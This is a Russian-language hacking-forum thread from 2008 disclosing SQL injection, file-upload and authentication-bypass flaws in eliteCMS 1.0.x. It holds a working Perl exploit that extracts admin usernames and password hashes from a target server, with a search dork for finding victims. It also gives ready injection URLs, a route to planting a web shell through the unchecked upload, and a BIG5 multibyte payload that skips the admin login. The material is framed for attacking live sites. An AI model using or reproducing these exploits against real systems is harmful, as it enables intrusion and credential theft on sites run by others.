Уязвимости eliteCMS

Discussion in 'Веб-уязвимости' started by Dimi4, 22 Dec 2008.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    eliteCMS
    SQL-inj
    Vulnerability code:
    PHP:
    function get_page_settings()
    {
        global 
    $page_settings;
        
    $query "SELECT * FROM pages WHERE id = '{$_GET['page']}'";
        
    $result mysql_query($query);
        
    confirm_query($result);
        
    $page_settings mysql_fetch_array($result);
        return 
    $page_settings;

    }
    Ну и вообщем первый мой сплойт: :)

    Code:
    #!/usr/bin/perl
    system('cls');
     
    #*****************************************************************************
    #*****************************************************************************
    #**     Written by Dimi4,                                                   **
    #**     Greetings to antichat && elwaux                                     **
    #**     dork:""Powored by Elite CMS"                                        **
    #**     version:1.0.x                                                       **
    #**     magic_qotes_gpc=OFF                                                 **
    #**                                                                         **
    #***************************************************************************** 
    # ****************************************************************************
     
    use IO::Socket;
     
    print "\n +-------------------------------------------------------------+\n";
    print " |           eliteCMS 1.0.x Sql-Injection Exploit              |\n";
    print " |           By Dimi4                                          |\n";
    print " +-------------------------------------------------------------+\n\n";
     
    if (@ARGV < 3)
    {
    print " [i] usage:\r\n";
    print "     eliteCMS.pl Server Dir Username\r\n\r\n";
    print "     SERVER         - Server where eliteCMS was installed.\r\n";
    print "     DIR            - eliteCMS directory or / for parent.\r\n";
    print "     Username       - Targer username(default - admin).\r\n";
    print "\n [i] Example:\r\n";
    print "     eliteCMS.pl 192.168.168.1 / admin2\n";
    <stdin>;
    exit();
    }
     
    $serv           = $ARGV[0];
    $dir            = $ARGV[1];
    $username       = $ARGV[2];
     
     
    $serv           =~ s/http:\/\///ge;
    $delimit        = "0x336c317433636d353378706c303174";
    
    $sploit = 'http://'.$serv.'/'.
            'index.php?page=1\'+union+select+1,concat'.
            '(user_name,\''.$delimit.'\',h_password)'.
            ',3,4,5,6,7,8,9,10,11+from+users+where+user_name=\''.$username.'\'+'.
            'limit+1,1%23';
     
     
    $sock = IO::Socket::INET->new(
                    Proto=>"tcp",
                    PeerAddr=>"$serv",
                    PeerPort=>"80") or die " [-] could not connect to host.\n";
     
    print " [+] connecting OK\n";
     
    print " [+] sending exploit..\n";
     
    print $sock "GET $sploit HTTP/1.1\n";
    print $sock "Host: $serv\n\n";
    read($sock,my $answer,1000);
    $success = 0;
    print " [+] In progress...\n";
    
    if ($answer=~ /$delimit/) {
            $answer =~ /$username$delimit(.*)::-::<\/title>/;
    		print " [+] Exploit succeeded...\n";
    		print ' [+] Targer:  '.$serv."\n";
            print ' [+] Username:   '.$username."\n";
            print ' [+] Password: '.$1."\n";
            exit();
            } else
            { print " [-] FAILED!\n"; exit(); }
     
     
     
    close($sock);
    
    
    <stdin>;
    exit();
    Спасибо elwaux за помощь в перел)

    Всё те же иньекции:
    Code:
    http://127.0.0.1/eliteCMS/index.php?page=1'+union+select+1,concat(user_name,0x20336c317433636d353378706c30317420,h_password),3,4,5,6,7,8,9,10,11+from+users+limit+1,1/*
    Админка:
    На первой страницы виден полный путь. Если хватит прав можно залить шелл через скулю.
    Скули в админке:
    Code:
    http://127.0.0.1/eliteCMS/admin/edit_page.php?page=3+union+select+1,2,3,4,5,6,7,8,9,10,11/*
    SQL-inj
    Vulnerability code:

    PHP:
    function get_page($page_id)
    {
        
    $query "SELECT * FROM ";
        
    $query .= "posts ";
        
    $query .= "WHERE page_id =" $page_id " ";
        
    $query .= "AND active = 1 ";
        
    $query .= " ORDER BY position";
        
    $result mysql_query($query);
        
    $check mysql_num_rows($result);
        
    confirm_query($result);
        if (
    $check != 0) {
            while (
    $page mysql_fetch_array($result)) {
                echo 
    "<h1>" $page['title'] . "</h1>\n";
                echo 
    "<p>" $page['content'] . "</p>\n";

            }
    URL:
    Code:
    http://127.0.0.1/eliteCMS/admin/edit_post.php?page=1&post=1+union+select+1,2,3,4,user(),version()/*
    SQL-inj
    Vulnerability code:

    PHP:
    function get_sidebar($page_id)
    {
        
    $query "SELECT * FROM ";
        
    $query .= "sidebar ";
        
    $query .= "WHERE page_id =" $page_id " ";
        
    //$query .= "AND active = 1 ";
        
    $query .= " ORDER BY position";
        
    $result mysql_query($query);
        
    confirm_query($result);
        while (
    $sidebar mysql_fetch_array($result)) {
            echo 
    "<h2>" $sidebar['title'] . "</h2>";
            echo 
    "<p>" $sidebar['content'] . "</p>";
            echo 
    "<p></p>";

        }

    }
    URL:
    Code:
    http://127.0.0.1/eliteCMS/admin/dit_sidebar.php?page=1&sidebar=2+union+select+1,2,3,user(),version()/*
    Форум пробелы в експлойт подобавлял :(
    Рабочий в атаче
    Такс.. Иду спать.. потом допишу :)
     

    Attached Files:

    #1 Dimi4, 22 Dec 2008
    Last edited: 1 Jan 2009
    5 people like this.
  2. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Заливка шелла:

    Код:
    PHP:
        if (!file_exists($upload_path)) {

            if (
    $_FILES['file']['size'] < 100000000000 && $_FILES['file']['size'] > 0) {

                if (
    $_FILES['file']['error']) {
                    echo 
    "Error: " $_FILES['file']['error'];
                } else {
                    
    // Success!

                    
    $successMSG "File successfully uploaded.";
    Нет проверки на расширение))

    Шелл:
    Code:
    http://127.0.0.1/eliteCMS/uploads/shell.php
     
    #2 Dimi4, 22 Dec 2008
    Last edited: 22 Dec 2008
    2 people like this.
  3. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Обход авторизации в админке.
    Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов :D ) такой случай очень редкий.

    Требования:

    PHP: < v4.3.0
    magic_qoutes_gpc: OFF
    character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

    Уязвимая функция (functions.php)

    PHP:
    function mysql_prep($value)
    {
        
    $magic_quotes_active get_magic_quotes_gpc();
        
    $new_enough_php function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
        
    if ($new_enough_php) { // PHP v4.3.0 or higher
            // undo any magic quote effects so mysql_real_escape_string can do the work
            
    if ($magic_quotes_active) {
                
    $value stripslashes($value);
            }
            
    $value mysql_real_escape_string($value);
        } else { 
    // before PHP v4.3.0
           
            
    if (!$magic_quotes_active) {
                
    $value addslashes($value);
            }
           
        }
        return 
    $value;
    }
    PHP:
    addslashes()
    Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

    Другой уязвимый кусок кода:
    PHP:
    $user_name mysql_prep($_POST['user_name']);
            
    $password mysql_prep($_POST['password']);
            
    $h_password sha1($password);

            
    $query " SELECT id, user_name, s_admin  ";
            
    $query .= " FROM users ";
            
    $query .= " WHERE user_name = '{$user_name}' ";
            
    $query .= " AND h_password = '{$h_password}' ";
            
    $query .= " AND active = 1 ";
            
    $query .= " LIMIT 1 ";
            
    $result mysql_query($query);
    PHP:
     if (mysql_num_rows($result) == 1) {
                
    $valid_user mysql_fetch_array($result);
                
    $_SESSION['user_id'] = $valid_user['id'];
                
    $_SESSION['user_name'] = $valid_user['user_name'];
                
    $_SESSION['s_admin'] = $valid_user['s_admin'];
                
    redirect_to("index.php");
    Пример для пост заголовка на пхп:

    PHP:
    $header .= chr(0xa3).chr(0x27).' OR 1=1 /*';
    Sql запрос примет такой вид:

    PHP:
    $query " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 ";
    Таким образом пройдем авторизацию :)

    Спасибо [Raz0r] За статью в блоге
    Спасибо The:paradox за експлойт для SMF <= 1.1.4
     
    4 people like this.